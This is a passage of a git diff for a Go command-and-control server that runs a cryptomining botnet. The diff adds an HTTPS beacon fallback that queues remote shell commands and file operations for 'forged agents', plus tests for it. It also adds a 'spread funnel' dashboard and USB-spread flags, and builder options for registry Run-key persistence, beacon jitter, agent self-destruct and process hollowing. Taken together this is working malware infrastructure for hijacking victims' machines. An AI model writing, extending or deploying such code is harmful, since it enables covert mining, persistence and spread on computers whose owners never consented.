`json:"agent_id"` + Action string `json:"action"` + Success bool `json:"success"` + Message string `json:"message"` +} + +func (h *WSHub) initBeaconMaps() { + h.beaconMu.Lock() + defer h.beaconMu.Unlock() + if h.beaconLastSeen == nil { + h.beaconLastSeen = make(map[string]time.Time) + } + if h.beaconCmdQueue == nil { + h.beaconCmdQueue = make(map[string][]BeaconCommand) + } +} + +// MarkBeaconSeen records a successful HTTPS beacon from an agent. +func (h *WSHub) MarkBeaconSeen(agentID string) { + h.initBeaconMaps() + h.beaconMu.Lock() + h.beaconLastSeen[agentID] = time.Now() + h.beaconMu.Unlock() +} + +// ClearBeaconTransport clears HTTPS-beacon state when the agent reconnects over WebSocket. +func (h *WSHub) ClearBeaconTransport(agentID string) { + h.initBeaconMaps() + h.beaconMu.Lock() + delete(h.beaconLastSeen, agentID) + delete(h.beaconCmdQueue, agentID) + h.beaconMu.Unlock() +} + +func (h *WSHub) isAgentBeaconReachable(agentID string) bool { + h.initBeaconMaps() + h.beaconMu.Lock() + last, ok := h.beaconLastSeen[agentID] + h.beaconMu.Unlock() + return ok && time.Since(last) <= beaconReachableWindow +} + +// IsAgentReachable returns true if the agent has an active WebSocket or recent HTTPS beacon. +func (h *WSHub) IsAgentReachable(agentID string) bool { + return h.isAgentConnected(agentID) || h.isAgentBeaconReachable(agentID) +} + +// EnqueueBeaconCommand queues a command for HTTPS beacon delivery. +func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool { + if !h.isAgentBeaconReachable(agentID) { + return false + } + cmd := BeaconCommand{Action: action} + if v, ok := args["tail_lines"]; ok { + switch n := v.(type) { + case int: + cmd.TailLines = n + case float64: + cmd.TailLines = int(n) + } + } + if v, ok := args["command"].(string); ok { + cmd.Command = v + } + if v, ok := args["path"].(string); ok { + cmd.Path = v + } + if v, ok := args["data"].(string); ok { + cmd.Data = v + } + h.initBeaconMaps() + h.beaconMu.Lock() + h.beaconCmdQueue[agentID] = append(h.beaconCmdQueue[agentID], cmd) + h.beaconMu.Unlock() + return true +} + +func (h *WSHub) dequeueBeaconCommands(agentID string) []BeaconCommand { + h.initBeaconMaps() + h.beaconMu.Lock() + cmds := h.beaconCmdQueue[agentID] + delete(h.beaconCmdQueue, agentID) + h.beaconMu.Unlock() + if cmds == nil { + return []BeaconCommand{} + } + return cmds +} + +func (h *WSHub) applyBeaconStats(agentID string, statsJSON json.RawMessage) { + if h.db == nil || len(statsJSON) == 0 { + return + } + var stats struct { + Hashrate15s float64 `json:"hashrate_15s"` + Hashrate1m float64 `json:"hashrate_1m"` + Hashrate15m float64 `json:"hashrate_15m"` + SharesSubmitted int `json:"shares_submitted"` + SharesAccepted int `json:"shares_accepted"` + CPUUsagePct float64 `json:"cpu_usage_pct"` + MemoryUsagePct float64 `json:"memory_usage_pct"` + UptimeSeconds int `json:"uptime_seconds"` + GPUMinerActive *bool `json:"gpu_miner_active,omitempty"` + GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"` + GPUModel string `json:"gpu_model,omitempty"` + } + if err := json.Unmarshal(statsJSON, &stats); err != nil { + return + } + sharesBad := stats.SharesSubmitted - stats.SharesAccepted + if sharesBad < 0 { + sharesBad = 0 + } + _ = h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m, + stats.SharesSubmitted, stats.SharesAccepted, sharesBad, + stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds) + gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive + _ = h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive) + _ = h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m) + h.broadcastDashboard(Message{ + Type: "stats", + Payload: mustMarshal(map[string]interface{}{ + "agent_id": agentID, + "hashrate_15s": stats.Hashrate15s, + "hashrate_1m": stats.Hashrate1m, + "hashrate_15m": stats.Hashrate15m, + "cpu_usage_pct": stats.CPUUsagePct, + "memory_usage_pct": stats.MemoryUsagePct, + "uptime_seconds": stats.UptimeSeconds, + "shares_submitted": stats.SharesSubmitted, + "shares_accepted": stats.SharesAccepted, + "transport": "https_beacon", + }), + }) +} + +// HandleAgentBeacon accepts periodic HTTPS beacons from forged agents (T1071.001 fallback). +func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + http.Error(w, "method not allowed", http.StatusMethodNotAllowed) + return + } + var req beaconRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid JSON", http.StatusBadRequest) + return + } + agentID := strings.TrimSpace(req.AgentID) + if agentID == "" { + http.Error(w, "agent_id is required", http.StatusBadRequest) + return + } + + h.MarkBeaconSeen(agentID) + if h.db != nil { + if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") { + display := req.Hostname + if display == "" { + display = agentID + } + _ = h.db.UpsertAgent(&models.Agent{ + ID: agentID, + Name: display, + Wallet: req.Wallet, + Version: req.Version, + Status: "online", + }) + } + } + h.applyBeaconStats(agentID, req.Stats) + cmds := h.dequeueBeaconCommands(agentID) + writeJSON(w, beaconResponse{OK: true, Commands: cmds}) +} + +// HandleAgentBeaconResult receives command results from HTTPS beacon agents. +func (h *WSHub) HandleAgentBeaconResult(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + http.Error(w, "method not allowed", http.StatusMethodNotAllowed) + return + } + var req beaconResultRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid JSON", http.StatusBadRequest) + return + } + agentID := strings.TrimSpace(req.AgentID) + if agentID == "" || req.Action == "" { + http.Error(w, "agent_id and action are required", http.StatusBadRequest) + return + } + h.MarkBeaconSeen(agentID) + payload := map[string]interface{}{ + "agent_id": agentID, + "action": req.Action, + "success": req.Success, + "message": req.Message, + "transport": "https_beacon", + } + h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)}) + h.notifyCmdCallback(agentID, req.Action, payload) + writeJSON(w, map[string]interface{}{"ok": true}) +} + +// FlushBeaconCommandsToWS delivers any queued HTTPS commands over a live WebSocket. +func (h *WSHub) FlushBeaconCommandsToWS(agentID string) { + cmds := h.dequeueBeaconCommands(agentID) + for _, cmd := range cmds { + args := map[string]interface{}{} + if cmd.TailLines > 0 { + args["tail_lines"] = cmd.TailLines + } + if cmd.Command != "" { + args["command"] = cmd.Command + } + if cmd.Path != "" { + args["path"] = cmd.Path + } + if cmd.Data != "" { + args["data"] = cmd.Data + } + _ = h.SendAgentCommand(agentID, cmd.Action, args) + } +} diff --git a/server/internal/api/beacon_test.go b/server/internal/api/beacon_test.go new file mode 100644 index 0000000..e77a50a --- /dev/null +++ b/server/internal/api/beacon_test.go @@ -0,0 +1,114 @@ +package api + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" +) + +func TestAgentBeaconFleetSecretAuth(t *testing.T) { + resetAuthState(t) + const secret = "beacon-test-secret" + SetAgentPathSecret(secret) + + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + defer database.Close() + + hub := NewWSHub(database) + hub.SetFleetSecret(secret) + + body, _ := json.Marshal(map[string]interface{}{ + "agent_id": "agent-beacon-1", + "stats": map[string]interface{}{ + "hashrate_15s": 100.0, + "hashrate_1m": 100.0, + "hashrate_15m": 100.0, + }, + }) + + h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon)) + req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body)) + rec := httptest.NewRecorder() + h.ServeHTTP(rec, req) + if rec.Code != http.StatusForbidden { + t.Fatalf("missing secret: got %d", rec.Code) + } + + req.Header.Set("X-Fleet-Secret", secret) + rec = httptest.NewRecorder() + h.ServeHTTP(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("valid secret: got %d body=%s", rec.Code, rec.Body.String()) + } + var resp beaconResponse + if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil { + t.Fatal(err) + } + if !resp.OK { + t.Fatal("expected ok") + } +} + +func TestBeaconCommandQueueRoundtrip(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + defer database.Close() + _ = database.UpsertAgent(&models.Agent{ID: "q-agent", Name: "host", Status: "offline"}) + + hub := NewWSHub(database) + hub.MarkBeaconSeen("q-agent") + if !hub.EnqueueBeaconCommand("q-agent", "pause", nil) { + t.Fatal("enqueue failed") + } + cmds := hub.dequeueBeaconCommands("q-agent") + if len(cmds) != 1 || cmds[0].Action != "pause" { + t.Fatalf("commands: %+v", cmds) + } + if len(hub.dequeueBeaconCommands("q-agent")) != 0 { + t.Fatal("queue should be empty") + } +} + +func TestAgentBeaconReturnsQueuedCommands(t *testing.T) { + resetAuthState(t) + const secret = "beacon-cmd-secret" + SetAgentPathSecret(secret) + + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + defer database.Close() + _ = database.UpsertAgent(&models.Agent{ID: "cmd-agent", Name: "pc", Status: "offline"}) + + hub := NewWSHub(database) + hub.MarkBeaconSeen("cmd-agent") + _ = hub.EnqueueBeaconCommand("cmd-agent", "resume", nil) + + body, _ := json.Marshal(map[string]string{"agent_id": "cmd-agent"}) + h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon)) + req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body)) + req.Header.Set("X-Fleet-Secret", secret) + rec := httptest.NewRecorder() + h.ServeHTTP(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("beacon: %d %s", rec.Code, rec.Body.String()) + } + var resp beaconResponse + if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil { + t.Fatal(err) + } + if len(resp.Commands) != 1 || resp.Commands[0].Action != "resume" { + t.Fatalf("commands: %+v", resp.Commands) + } +} diff --git a/server/internal/api/config_handler.go b/server/internal/api/config_handler.go index 6cb3b1b..95b54a0 100644 --- a/server/internal/api/config_handler.go +++ b/server/internal/api/config_handler.go @@ -8,7 +8,8 @@ import ( // ConfigHandler handles GET/PUT for server configuration settings type ConfigHandler struct { - config ConfigProvider + config ConfigProvider + auditSave func(username string) } // ConfigProvider is an interface for the server config so we don't import main package @@ -21,6 +22,10 @@ func NewConfigHandler(cp ConfigProvider) *ConfigHandler { return &ConfigHandler{config: cp} } +func (h *ConfigHandler) SetAuditSaveHook(fn func(username string)) { + h.auditSave = fn +} + func (h *ConfigHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { switch r.Method { case http.MethodGet: @@ -63,6 +68,10 @@ func (h *ConfigHandler) updateConfig(w http.ResponseWriter, r *http.Request) { return } + if h.auditSave != nil { + h.auditSave(AuthUsername(r)) + } + // Return updated config h.getConfig(w, r) } diff --git a/server/internal/api/fleet_handler.go b/server/internal/api/fleet_handler.go index cdfe291..f833af6 100644 --- a/server/internal/api/fleet_handler.go +++ b/server/internal/api/fleet_handler.go @@ -369,6 +369,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) args["data"] = req.Data } + queued := false if id == "all" { if f.ws.connectedAgentCount() == 0 { writeJSON(w, map[string]interface{}{ @@ -381,7 +382,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) } f.ws.BroadcastAgentCommand(req.Action, args) } else { - if !f.ws.isAgentConnected(id) { + if !f.ws.IsAgentReachable(id) { writeJSON(w, map[string]interface{}{ "success": false, "error": "agent not connected", @@ -390,6 +391,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) }) return } + queued = !f.ws.isAgentConnected(id) if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil { writeJSON(w, map[string]interface{}{ "success": false, @@ -400,11 +402,21 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) return } } - writeJSON(w, map[string]interface{}{ + resp := map[string]interface{}{ "success": true, "agent_id": id, "action": req.Action, - }) + } + if queued { + resp["queued"] = true + resp["transport"] = "https_beacon" + } + writeJSON(w, resp) + if f.db != nil { + _ = f.db.InsertAudit(AuthUsername(r), "agent_command", id, map[string]interface{}{ + "action": req.Action, "command": req.Command, "path": req.Path, + }) + } } // PostAgentWOL sends a Wake-on-LAN magic packet to the agent's MAC address. diff --git a/server/internal/api/fleet_ops_handler.go b/server/internal/api/fleet_ops_handler.go new file mode 100644 index 0000000..9ad6ac4 --- /dev/null +++ b/server/internal/api/fleet_ops_handler.go @@ -0,0 +1,97 @@ +package api + +import ( + "encoding/json" + "net/http" + "time" + + "crypto-miner-server/internal/models" + + "github.com/go-chi/chi/v5" +) + +func (f *FleetHandler) GetAudit(w http.ResponseWriter, r *http.Request) { + if f.db == nil { + writeJSON(w, []*models.AuditEntry{}) + return + } + entries, err := f.db.ListAudit(50) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + if entries == nil { + entries = []*models.AuditEntry{} + } + writeJSON(w, entries) +} + +func (f *FleetHandler) GetFleetTasks(w http.ResponseWriter, r *http.Request) { + if f.db == nil { + writeJSON(w, []*models.FleetTask{}) + return + } + tasks, err := f.db.ListFleetTasks() + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + if tasks == nil { + tasks = []*models.FleetTask{} + } + writeJSON(w, tasks) +} + +func (f *FleetHandler) PutFleetTask(w http.ResponseWriter, r *http.Request) { + var t models.FleetTask + if err := json.NewDecoder(r.Body).Decode(&t); err != nil { + http.Error(w, "invalid JSON", http.StatusBadRequest) + return + } + if t.Name == "" || t.Action == "" || t.Trigger == "" { + http.Error(w, "name, trigger, and action are required", http.StatusBadRequest) + return + } + if f.db == nil { + http.Error(w, "database unavailable", http.StatusServiceUnavailable) + return + } + if err := f.db.UpsertFleetTask(&t); err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + _ = f.db.InsertAudit(AuthUsername(r), "fleet_task_save", "", map[string]string{"task_id": t.ID, "name": t.Name}) + writeJSON(w, t) +} + +func (f *FleetHandler) DeleteFleetTask(w http.ResponseWriter, r *http.Request) { + id := chi.URLParam(r, "id") + if id == "" { + http.Error(w, "id required", http.StatusBadRequest) + return + } + if f.db == nil { + http.Error(w, "database unavailable", http.StatusServiceUnavailable) + return + } + if err := f.db.DeleteFleetTask(id); err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + _ = f.db.InsertAudit(AuthUsername(r), "fleet_task_delete", "", map[string]string{"task_id": id}) + writeJSON(w, map[string]bool{"ok": true}) +} + +func (f *FleetHandler) GetSpreadFunnel(w http.ResponseWriter, r *http.Request) { + if f.db == nil { + writeJSON(w, map[string]interface{}{"by_build": []interface{}{}, "new_connects_today": 0, "total_agents": 0}) + return + } + since := time.Now().Add(-7 * 24 * time.Hour) + stats, err := f.db.GetSpreadFunnelStats(since) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + writeJSON(w, stats) +} diff --git a/server/internal/api/integration_test.go b/server/internal/api/integration_test.go index 447f09e..7c2a077 100644 --- a/server/internal/api/integration_test.go +++ b/server/internal/api/integration_test.go @@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) { _ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("AetherForge"), 0644) dropperHandler := NewDropperHandler(database, nil) - return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, webRoot, dataDir, nil), wsHub, database, dataDir + return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil), wsHub, database, dataDir } func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder { diff --git a/server/internal/api/router.go b/server/internal/api/router.go index b6544a1..d664f06 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -397,7 +397,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { authCacheSet(user, pass) } - next.ServeHTTP(w, r) + next.ServeHTTP(w, withAuthUser(r, user)) }) } @@ -464,6 +464,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/ai/activity", fleetHandler.GetAIActivity) r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate) r.Get("/market/xmr", fleetHandler.GetXMRPrice) + r.Get("/audit", fleetHandler.GetAudit) + r.Get("/fleet-tasks", fleetHandler.GetFleetTasks) + r.Put("/fleet-tasks", fleetHandler.PutFleetTask) + r.Delete("/fleet-tasks/{id}", fleetHandler.DeleteFleetTask) + r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel) } // Shares @@ -553,6 +558,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Post("/agent/decide", aiHandler.HandleDecide) r.Post("/agent/report", aiHandler.HandleReport) r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat) + r.Post("/agent/beacon", wsHub.HandleAgentBeacon) + r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult) }) // WebSocket diff --git a/server/internal/api/router_test.go b/server/internal/api/router_test.go index dfa58ca..1c24ac7 100644 --- a/server/internal/api/router_test.go +++ b/server/internal/api/router_test.go @@ -351,7 +351,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) { fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir) blueprintHandler := NewBlueprintHandler(dataDir) - router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil) + router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, nil, "", dataDir, nil) dlURL := "/api/v1/builds/" + buildID + "/download" @@ -428,7 +428,7 @@ func TestRouterNoWebRootFallback(t *testing.T) { builderHandler := builder.NewHandler(database, dataDir, "", dataDir) blueprintHandler := NewBlueprintHandler(dataDir) - router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, "", dataDir, nil) + router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil) req := httptest.NewRequest(http.MethodGet, "/", nil) rec := httptest.NewRecorder() diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 280dffa..5ca74e0 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -106,6 +106,11 @@ func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time // cmdResultKey is used to key pending command callbacks: "agentID:action". type cmdResultKey struct{ AgentID, Action string } +// ConnectTaskRunner fires scheduled fleet tasks on agent connect/reconnect. +type ConnectTaskRunner interface { + RunConnectTasks(agentID, trigger string) +} + type WSHub struct { db *db.Database agents map[string]*AgentConnection @@ -122,12 +127,18 @@ type WSHub struct { pingIntervalSec int fleetSecret string // baked into forged agents; verified on WS connect eventNotifier *alerts.Notifier + connectTasks ConnectTaskRunner mu sync.RWMutex // pendingCmdCallbacks allows handlers to await a specific command_result // from an agent (used by Path Tracer orchestration). pendingCmdMu sync.Mutex pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{} + + // HTTPS beacon fallback (T1071.001) — command queue when WebSocket is down. + beaconMu sync.Mutex + beaconLastSeen map[string]time.Time + beaconCmdQueue map[string][]BeaconCommand } func NewWSHub(database *db.Database) *WSHub { @@ -148,6 +159,8 @@ func NewWSHub(database *db.Database) *WSHub { agentLogs: make(map[string]string), agentDNS: make(map[string][]string), pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}), + beaconLastSeen: make(map[string]time.Time), + beaconCmdQueue: make(map[string][]BeaconCommand), pingIntervalSec: 30, } @@ -231,6 +244,22 @@ func (h *WSHub) SetFleetSecret(secret string) { h.mu.Unlock() } +func (h *WSHub) SetConnectTaskRunner(r ConnectTaskRunner) { + h.mu.Lock() + h.connectTasks = r + h.mu.Unlock() +} + +func (h *WSHub) ConnectedAgentIDs() []string { + h.mu.RLock() + defer h.mu.RUnlock() + ids := make([]string, 0, len(h.agents)) + for id := range h.agents { + ids = append(ids, id) + } + return ids +} + func (h *WSHub) pingInterval() time.Duration { h.mu.RLock() sec := h.pingIntervalSec @@ -516,6 +545,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { Arch string `json:"arch"` OSVersion string `json:"os_version"` MacAddress string `json:"mac_address,omitempty"` + BuildID string `json:"build_id"` + USBSpread bool `json:"usb_spread"` } if err := json.Unmarshal(msg.Payload, &auth); err != nil { conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ @@ -580,6 +611,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { AutoSpread: auth.AutoSpread, ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows", AIEnabled: auth.AIEnabled, + USBSpread: auth.USBSpread, } h.mu.Lock() @@ -638,6 +670,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { prior, priorErr := h.db.GetAgent(agentID) isNewAgent := errors.Is(priorErr, sql.ErrNoRows) + workerName := auth.WorkerName + if workerName == "" { + workerName = auth.Worker + } + agent := &models.Agent{ ID: agentID, Name: displayName, @@ -653,6 +690,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { OSVersion: auth.OSVersion, Hostname: auth.Hostname, MacAddress: auth.MacAddress, + BuildID: auth.BuildID, + WorkerName: workerName, + USBSpread: auth.USBSpread, Capabilities: &caps, } @@ -692,6 +732,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { h.agents[agentID] = ac h.mu.Unlock() + h.FlushBeaconCommandsToWS(agentID) + h.ClearBeaconTransport(agentID) + // Start the RTT-aware ping loop now that we have an AgentConnection. go h.runPingLoopAgent(ac) @@ -726,6 +769,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } } + h.mu.RLock() + runner := h.connectTasks + h.mu.RUnlock() + if runner != nil { + if isNewAgent { + go runner.RunConnectTasks(agentID, "on_connect") + } else if !isNewAgent && (alreadyConnected || (prior != nil && prior.Status != "online")) { + go runner.RunConnectTasks(agentID, "on_reconnect") + } + } + case "stats": if agentID == "" { continue @@ -1051,6 +1105,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { // Notify any handler waiting for this specific agent+action result. if action, _ := payload["action"].(string); action != "" { h.notifyCmdCallback(agentID, action, payload) + if action == "full_sys_check" { + if ok, _ := payload["success"].(bool); ok { + if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil { + name := agentID + if h.db != nil { + if ag, err := h.db.GetAgent(agentID); err == nil && ag.Name != "" { + name = ag.Name + } + } + alerts.NotifyKEVFromSysCheck(h.eventNotifier, name, msg) + } + } + } } } } @@ -1220,11 +1287,17 @@ func (h *WSHub) RemoveAgent(agentID string) { // SendAgentCommand sends a remote command to an agent. func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error { - payload := map[string]interface{}{"action": action} - for k, v := range args { - payload[k] = v + if h.isAgentConnected(agentID) { + payload := map[string]interface{}{"action": action} + for k, v := range args { + payload[k] = v + } + return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)}) } - return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)}) + if h.EnqueueBeaconCommand(agentID, action, args) { + return nil + } + return fmt.Errorf("agent %s not connected", agentID) } // BroadcastAgentCommand sends a remote command to all connected agents. diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index 7c08546..83278e8 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -39,6 +39,12 @@ type BuildRequest struct { RunAs string `json:"run_as"` HostBinaryTarget string `json:"host_binary_target"` AutoStart bool `json:"auto_start"` + AutostartMode string `json:"autostart_mode"` + RegistryPersistence string `json:"registry_persistence"` + RegistryRunHKCU bool `json:"registry_run_hkcu"` + RegistryRunHKLM bool `json:"registry_run_hklm"` + RegistryRunOnce bool `json:"registry_run_once"` + RegistryExplorerRun bool `json:"registry_explorer_run"` Persistence bool `json:"persistence"` ProcessName string `json:"process_name"` MaxCPUUsagePct int `json:"max_cpu_usage_pct"` @@ -97,6 +103,13 @@ type BuildRequest struct { RVNPoolTLS bool `json:"rvn_pool_tls"` RVNPoolPass string `json:"rvn_pool_pass"` RVNBackupPools []BackupPool `json:"rvn_backup_pools"` + + // Connection profile — C2 beacon timing and agent self-destruct + BeaconIntervalSec int `json:"beacon_interval_sec"` + BeaconJitterPct int `json:"beacon_jitter_pct"` + AgentKillAfterDays int `json:"agent_kill_after_days"` + HTTPSBeaconFallback bool `json:"https_beacon_fallback"` + HTTPSBeaconAfterMin int `json:"https_beacon_after_min"` } // BackupPool is a fallback Stratum pool tried if the primary pool is unreachable. @@ -341,6 +354,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { return } + if h.db != nil { + user := "" + if u, _, ok := r.BasicAuth(); ok { + user = u + } + _ = h.db.InsertAudit(user, "forge_build", "", map[string]string{ + "build_id": resp.BuildID, "worker_name": req.WorkerName, "file_name": resp.FileName, + }) + } + if r.URL.Query().Get("download") == "1" { w.Header().Set("Content-Type", "application/octet-stream") w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName)) @@ -848,6 +871,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error { if req.Persistence { req.AutoStart = true } + req.AutostartMode = strings.ToLower(strings.TrimSpace(req.AutostartMode)) + req.RegistryPersistence = strings.ToLower(strings.TrimSpace(req.RegistryPersistence)) + normalizeRegistryPersistence(req) if req.ProcessName == "" { req.ProcessName = sanitizeFileName(req.WorkerName) } @@ -1031,6 +1057,12 @@ func GetBuiltinConfig() BuiltinConfig { RunAs: %q, HostBinaryTarget: %q, AutoStart: %v, + AutostartMode: %q, + RegistryPersistence: %q, + RegistryRunHKCU: %v, + RegistryRunHKLM: %v, + RegistryRunOnce: %v, + RegistryExplorerRun: %v, ProcessName: %q, BuildID: %q, BuiltAt: time.Unix(%d, 0), @@ -1078,6 +1110,12 @@ func GetBuiltinConfig() BuiltinConfig { RVNPoolTLS: %v, RVNPoolPass: %q, RVNBackupPools: %s, + + BeaconIntervalSec: %d, + BeaconJitterPct: %d, + AgentKillAfterDays: %d, + HTTPSBeaconFallback: %v, + HTTPSBeaconAfterMin: %d, } } `, buildID, time.Now().UTC().Format(time.RFC3339), @@ -1094,6 +1132,12 @@ func GetBuiltinConfig() BuiltinConfig { req.RunAs, req.HostBinaryTarget, req.AutoStart, + strings.TrimSpace(req.AutostartMode), + strings.TrimSpace(req.RegistryPersistence), + req.RegistryRunHKCU, + req.RegistryRunHKLM, + req.RegistryRunOnce, + req.RegistryExplorerRun, req.ProcessName, buildID, time.Now().Unix(), @@ -1139,9 +1183,33 @@ func GetBuiltinConfig() BuiltinConfig { req.RVNPoolTLS, rvnPoolPass(req), formatGoBackupPools(req.RVNBackupPools), + req.BeaconIntervalSec, + req.BeaconJitterPct, + req.AgentKillAfterDays, + httpsBeaconFallbackEnabled(req), + httpsBeaconAfterMin(req), ) } +func httpsBeaconFallbackEnabled(req *BuildRequest) bool { + if req.HTTPSBeaconFallback { + return true + } + for _, u := range req.BackupServerURLs { + if strings.TrimSpace(u) != "" { + return true + } + } + return false +} + +func httpsBeaconAfterMin(req *BuildRequest) int { + if req.HTTPSBeaconAfterMin > 0 { + return req.HTTPSBeaconAfterMin + } + return 3 +} + func rvnPoolHost(req *BuildRequest) string { if req.RVNPoolHost == "" { return "rvn.2miners.com" diff --git a/server/internal/builder/platform_test.go b/server/internal/builder/platform_test.go index 53186fd..5c1ea5b 100644 --- a/server/internal/builder/platform_test.go +++ b/server/internal/builder/platform_test.go @@ -62,6 +62,9 @@ func TestGenerateBuiltinConfigValid(t *testing.T) { if !strings.Contains(src, "BackupServerURLs") { t.Error("expected BackupServerURLs field in generated config") } + if !strings.Contains(src, "AutostartMode") { + t.Error("expected AutostartMode field in generated config") + } } func TestBuildPlatformLabelAndBinDir(t *testing.T) { diff --git a/server/internal/builder/registry_persistence.go b/server/internal/builder/registry_persistence.go new file mode 100644 index 0000000..5279b48 --- /dev/null +++ b/server/internal/builder/registry_persistence.go @@ -0,0 +1,41 @@ +package builder + +// normalizeRegistryPersistence maps forge checkboxes to baked config when enum is empty. +func normalizeRegistryPersistence(req *BuildRequest) { + if req == nil { + return + } + if req.RegistryPersistence != "" && req.RegistryPersistence != "off" { + return + } + if !req.RegistryRunHKCU && !req.RegistryRunHKLM && !req.RegistryRunOnce && !req.RegistryExplorerRun { + return + } + count := 0 + if req.RegistryRunHKCU { + count++ + } + if req.RegistryRunOnce { + count++ + } + if req.RegistryRunHKLM { + count++ + } + if req.RegistryExplorerRun { + count++ + } + if count == 1 { + switch { + case req.RegistryRunHKCU: + req.RegistryPersistence = "hkcu_run" + case req.RegistryRunOnce: + req.RegistryPersistence = "hkcu_run_once" + case req.RegistryRunHKLM: + req.RegistryPersistence = "hklm_run" + case req.RegistryExplorerRun: + req.RegistryPersistence = "explorer_run" + } + return + } + req.RegistryPersistence = "combined" +} diff --git a/server/internal/builder/registry_persistence_test.go b/server/internal/builder/registry_persistence_test.go new file mode 100644 index 0000000..dd6da74 --- /dev/null +++ b/server/internal/builder/registry_persistence_test.go @@ -0,0 +1,30 @@ +package builder 